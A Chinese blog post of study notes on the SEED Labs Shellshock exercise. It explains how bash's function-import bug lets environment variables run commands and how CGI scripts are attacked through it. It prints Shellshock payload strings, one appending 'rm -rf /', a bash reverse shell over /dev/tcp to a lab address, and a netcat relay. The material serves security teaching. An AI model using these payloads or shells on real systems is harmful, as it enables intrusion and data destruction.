seed-labs 软件部分-shellshock

2024-06-13 22:18

本文主要是介绍seed-labs 软件部分-shellshock,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

seed-labs 软件部分- shellshock

  • shellshock
    • 背景
    • shellshock 漏洞
      • 定义
      • 漏洞
      • bash源码中的错误
      • shellshock漏洞利用
    • 利用shellshock攻击CGI程序
      • web服务器调用CGI程序
      • 反向shell
    • problems

shellshock

背景

Shell程序是操作系统中的命令行解释器
提供用户和操作系统之间的接口
不同类型的shell:sh、bash、csh、zsh、windows powershell等
bashshell是Linux操作系统中最流行的shell程序之一
shellshock漏洞与shell函数有关。
declare 可以将shell函数打印出来

foo() { echo "hello world"; }
[06/02/21]seed@VM:~/shellshock$ declare -f foo 
foo () 
{ echo "hello world"
}
[06/02/21]seed@VM:~/shellshock$ export -f foo
[06/02/21]seed@VM:~/shellshock$ bash
[06/02/21]seed@VM:~/shellshock$ declare -f foo
foo () 
{ echo "hello world"
}

这两种方法是相似的。它们都使用环境变量。
程序:
在第一种方法中,当父shell创建新进程时,它将每个导出的函数定义作为环境变量传递。
如果子进程运行bash,bash程序将把环境变量转换回函数定义,就像在第二个方法中定义的那样。
第二种方法不要求父进程是shell进程。
任何需要将函数定义传递给子bash进程的进程都可以简单地使用环境变量。

shellshock 漏洞

定义

名为Shellshock或bashdoor的漏洞已于2014年9月24日公开发布。此漏洞被分配为CVE-2014-6271
此漏洞利用了bash在将环境变量转换为函数定义时犯下的错误
自1989年8月5日以来,发现的bug一直存在于gnubash源代码中
在识别出这个bug之后,在广泛使用的bash shell中发现了其他几个bug
Shellshock是指在bash中发现的一系列安全漏洞

漏洞

[06/02/21]seed@VM:~/shellshock$ foo='() { echo "hello world"; }; echo "extra";'
[06/02/21]seed@VM:~/shellshock$ echo $foo
() { echo "hello world"; }; echo "extra";
[06/02/21]seed@VM:~/shellshock$ bash_shellshock  ##echo "extra" 额外的漏洞被执行了。当一个子bash进程被创建时。子shell将会解析为该变量,把它转化为函数定义,所以由于shellshock漏洞,bash 将执行括号后的额外命令
[06/02/21]seed@VM:~/shellshock$ export foo
[06/02/21]seed@VM:~/shellshock$ bash_shellshock                         
[06/02/21]seed@VM:~/shellshock$ echo $foo 

bash源码中的错误

shellshock bug从bash源代码的variables.c文件开始,下面是一部门源码
在这里插入图片描述
在这个代码中,在第行①, bash通过检查环境变量的值是否以“(){”开头来检查是否有导出的函数。一旦找到,bash将用空格替换“=”。
Bash然后调用函数parse和execute()②) 解析函数定义。不幸的是,这个函数可以解析其他shell命令,而不仅仅是函数定义
如果字符串是函数定义,函数将只解析它而不执行它
如果字符串包含shell命令,函数将执行它。

shellshock漏洞利用

在这里插入图片描述
利用shellshock漏洞攻击需要满足2个条件,首先,必须运行bash,其次,攻击者只能通过环境变量把攻击数据传给目标进程,

利用shellshock攻击CGI程序

公共网关接口(CGI)被web服务器用来运行动态生成web页面的可执行程序。
许多CGI程序使用shell脚本,如果使用bash,它们可能会受到shell攻击
其中apache ,c,python都是支持CGI的, 提供的seedlabs环境包含了apache ,所以我们可以直接用

sudo vi /usr/lib/cgi-bin/test.cgi#!/bin/bashecho "Content-type: text/plain"
echo 
echo
echo "Hello World"sudo chmod 755 test.cgi

最后就可以访问

[06/03/21]seed@VM:~/shellshock$ curl http://10.0.2.15/cgi-bin/test.cgiHello World

web服务器调用CGI程序

当用户向apacheweb服务器发送cgiurl时,Apache将检查请求
如果是CGI请求,Apache将使用fork()启动一个新进程,然后使用exec()函数执行CGI程序
因为我们的CGI程序是以“#”/bin/bash”,exec()实际执行/bin/bash,然后运行shell脚本
在这里插入图片描述

反向shell

攻击者现在可以运行他们喜欢的任何命令,并在他们的机器上得到输出。

不用运行/bin/ls,我们可以运行/bin/bash。但是,/bin/bash命令是交互式的。

如果我们只是将/bin/bash放在我们的漏洞中,bash将在服务器端执行,但我们无法控制它。因此,我们需要做一些叫做反向shell的事情。

反向shell的关键思想是将标准的输入、输出和错误设备重定向到网络连接。

通过这种方式,shell从连接获取输入并输出到连接。攻击者现在可以运行他们喜欢的任何命令并在他们的机器上获得输出。

反向shell是许多攻击使用的一种非常常见的黑客技术。
反向shell的关键是重定向标准输入,输出和错误设备到一个网络连接,此后,shell就可以从网络连接那里获得输入,也可以将输出写入这个网络连接,
在攻击者端可以

server(192.168.31.161):$ /bin/bash -i > /dev/tcp/10.0.2.15/9090/ 0<&1 2>$1
/bin/bash -i : -i 意味着使用shell的可交互模式,shell在这个模式下会提供提示符>/dev/tcp/10.0.2.15/9090  shell 的输出设备stdout被重定向到tcp连接,10.0.2.15 9090 端口,文件描述符是1
>0<&1 0 代表输入设备,这是表示,将标准输出设备也作为标准输入设备。重定向至TCP连接,
TCP连接是个双向设备,既可以写,也可往外读2>&1 文件描述符2代表标准错误,这使得错误输出被重定向至stdout 

problems

地址 handsonsecurity.net/files/problems/Shellshock_ex.pdf1.在修复漏洞之前,子进程中将不存在该变量,但会有一个变量名为的函数,函数体将是该变量的值。
修复漏洞后,子shell将具有与父shell相同的变量。2、父shell创建进程时,会将每个导出的函数作为环境变量传递。当子进程运行bash(或者子进程本身是bash)时,它将解析环境变量并将其转换回函数。这是因为子进程获取父环境变量的副本。3、seed@ubuntu:~$ export foo='() { echo Hello World; }; rm -rf /'
seed@ubuntu:~$ bash
rm: it is dangerous to operate recursively on `/'
rm: use --no-preserve-root to override this failsafe4、seed@ubuntu:~$ export foo='echo world; () { echo hello;}'
seed@ubuntu:~$ bashseed@ubuntu:~$ foo
foo: command not found
seed@ubuntu:~$ echo $foo
echo world; () { echo hello;}5、	1.目标进程应该运行bash。2.进程必须从外部获取一些环境变量,例如不受信任的用户。6、像Apache这样的web服务器将客户端头信息(如用户代理)作为环境变量传递给它们调用的CGI程序。例如,通过手动设置用户代理字段,我们可以确保在远程计算机上有一个环境变量,该变量的值由我们选择。7、不存在。bash漏洞的存在是因为它在环境变量的值的开头查找字符串“(){”,如果匹配,它会将其视为函数并继续对其进行解析。bash看起来不像函数定义,它将把它当作一个简单的字符串,而不运行命令。8、
nc-L7070将监听端口7070上的传入连接。/bin/cat命令很奇怪 /dev。。。将接受来自远程机器的输入,但将其输出回STDIN,这种情况下是远程机器。
所以在机器1中输入的任何内容都会在屏幕上回响。9、Machine2:
$ nc -l 7070Machine3:
$ nc -l 7070Machine 1:
$ /bin/cat < /dev/tcp/Machine2/7070 > /dev/tcp/Machine3/7070

这篇关于seed-labs 软件部分-shellshock的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1058572

相关文章

android一键分享功能部分实现

为什么叫做部分实现呢,其实是我只实现一部分的分享。如新浪微博,那还有没去实现的是微信分享。还有一部分奇怪的问题:我QQ分享跟QQ空间的分享功能,我都没配置key那些都是原本集成就有的key也可以实现分享,谁清楚的麻烦详解下。 实现分享功能我们可以去www.mob.com这个网站集成。免费的,而且还有短信验证功能。等这分享研究完后就研究下短信验证功能。 开始实现步骤(新浪分享,以下是本人自己实现

电子盖章怎么做_电子盖章软件

使用e-章宝(易友EU3000智能盖章软件)进行电子盖章的步骤如下: 一、准备阶段 软件获取: 访问e-章宝(易友EU3000智能盖章软件)的官方网站或相关渠道,下载并安装软件。账户注册与登录: 首次使用需注册账户,并根据指引完成注册流程。注册完成后,使用用户名和密码登录软件。 二、电子盖章操作 文档导入: 在e-章宝软件中,点击“添加”按钮,导入待盖章的PDF文件。支持批量导入多个文件,

小红书商家电话采集软件使用指南

使用小红书商家电话采集软件可以提高商家电话的采集效率,以下是使用指南及附带代码。 步骤一:安装Python和相关库 首先,确保你的电脑已经安装了Python运行环境(建议安装Python3版本)。安装完成后,同样需要安装一些相关的库,如requests、beautifulsoup4等。在命令行窗口中输入以下命令进行安装: pip install requestspip install bea

【计算机组成原理】部分题目汇总

计算机组成原理 部分题目汇总 一. 简答题 RISC和CICS 简要说明,比较异同 RISC(精简指令集)注重简单快速的指令执行,使用少量通用寄存器,固定长度指令,优化硬件性能,依赖软件(如编译器)来提升效率。 CISC(复杂指令集)包含多样复杂的指令,能一条指令完成多步操作,采用变长指令,减少指令数但可能增加执行时间,倾向于硬件直接支持复杂功能减轻软件负担。 两者均追求高性能,但RISC

服务器监控:运维行业的核心保障与第三方监控软件的选择

随着信息技术的飞速发展,企业IT架构日益复杂,服务器作为整个IT系统的核心,其稳定性和性能对业务的连续性至关重要。在运维行业中,服务器监控作为保障服务器稳定运行的关键环节,已经受到了越来越多企业的重视。本文将探讨服务器监控的重要性、挑战以及选择第三方监控软件的原因,并推荐一款优秀的服务器监控软件——监控易。 一、服务器监控的重要性     服务器监控是指对服务器硬件、操作系统、应用程序

docx转doc工具(软件)

word中的docx转成doc格式软件下载: http://pan.baidu.com/s/1ntsi0yt <script>window._bd_share_config={"common":{"bdSnsKey":{},"bdText":"","bdMini":"2","bdMiniList":false,"bdPic":"","bdStyle":"0","bdSize

python3GUI--ktv点歌软件By:PyQt5(附下载地址)

文章目录 一.前言二.展示1.启动2.搜索2.服务1.首页2.天气预报3.酒水饮料4.酒水饮料2 3.服务4.灯光5.调音6.排行榜7.分类点歌9.歌手点歌10.歌手个人页 三.心得体会1.关于代码2.关于设计3.关于打包 四.总结 文件大小:33.13M https://wwt.lanzoul.com/iikRv22iqmpg 如果安装后打不开,多半是权限问题,请使用管理

Inpaint软件最新版下载【安装详细图文教程】

​根据使用者情况表明在今天的数字时代,我们经常会遇到需要处理图形的情况,然而,当我们遇到水印在图形上,我们就需要寻找一个有效的方式来去除它,Inpaint软件就是一个非常实用的工具,它能够帮助我们去除水印、修复照片、删除不需要的元素等等。不得不承认快速去水印:想要用图形素材剪辑视频,结果发现图形素材遍布各种水印,影响视频的展现效果?网上冲浪,遇到喜欢的图形,总是有一层厚厚的水印,影响整体的美观?用

如何关闭软件开机自启,提升电脑开机速度?

如何关闭软件开机自启,提升电脑开机速度?大家知道,很多软件在安装时默认都会设置为开机自动启动。但是,有很多软件在我们开机之后并不是马上需要用到的,开机启动的软件过多会导致电脑开机变慢。那么,如何关闭这些开机软件自启呢?我们可以按照以下步骤进行操作: 1.任务管理器设置方法 在任务栏上点击右键,然后选择“任务管理器”。在任务管理器弹出的窗口中,点击“启动”标签页,就可以看到开机启动项。

硬盘数据恢复软件,推荐5种适合你的方法来恢复硬盘数据

硬盘数据恢复软件,作为解决数据丢失问题的关键工具,帮助用户在重要文件丢失时迅速找回数据。本教程介绍5种恢复实用硬盘数据方法,适应不同类型和严重程度的数据损坏情况。 文章摘要: 一. 硬盘数据恢复软件 二. 数据恢复原理 三. 当硬盘有坏道的情况下继续使用硬盘会导致数据无法恢复 四. 数据恢复的多种手段 五. 硬盘数据恢复软件 - 5种恢复方法 六. 正确使用硬盘 七. 数据备份的重要性 八. 总